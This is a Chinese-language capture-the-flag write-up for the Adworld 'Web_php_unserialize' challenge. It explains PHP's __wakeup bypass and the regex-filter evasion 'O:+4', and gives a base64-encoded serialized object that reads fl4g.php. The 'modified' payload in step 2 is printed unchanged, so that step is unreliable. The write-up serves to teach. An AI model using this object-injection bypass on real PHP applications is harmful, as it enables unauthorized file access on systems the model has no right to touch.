unserialize与__destruct、__wakeup

攻防世界:Web_php_unserialize

**

知识:

  1. PHP__wakeup()函数漏洞
    在程序执行前,serialize() 函数会首先检查是否存在一个魔术方法 __sleep.如果存在,__sleep()方法会先被调用, 然后才执行串行化(序列化)操作。这个功能可以用于清理对象,并返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容,则NULL被序列化,导致 一个E_NOTICE错误。与之相反,unserialize()会检查是否存在一个__wakeup方法。如果存在,则会先调用 __wakeup方法,预先准备对象数据。但是这个wakeup()是可以被绕过的
    __wakeup 触发于 unserilize() 调用之前, 当反序列化时的字符串所对应的对象的数目被修改,__wake 的函数就不会被调用. 并且不会重建为对象, 但是会触发其他的魔术方法比如__destruct

绕过方法及漏洞详细内容1(https://xz.aliyun.com/t/378)
绕过方法及漏洞详细内容2(http://www.she1don.cn/index.php/archives/20.html)

**


解题


  1. 求serialize Demo=>file=fl4g如下:
    O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}
  2. 根据代码
if (preg_match('/[oc]:\d+:/i', $var)) { 
       die('stop hacking!'); 
   } else {
       @unserialize($var); 
   } 

可以得到字母‘o’后不能加‘:’和数字组合即传入O:4会触发if条件,所以将O:4改为O:+4,然后绕过wakeup()函数,将"Demo":1改为"Demo":2,改完如下:
O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}
3. 进行base64编码得到:
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ

  1. 得到flag:
    unserialize与__destruct、__wakeup_第1张图片

你可能感兴趣的:(unserialize与__destruct、__wakeup)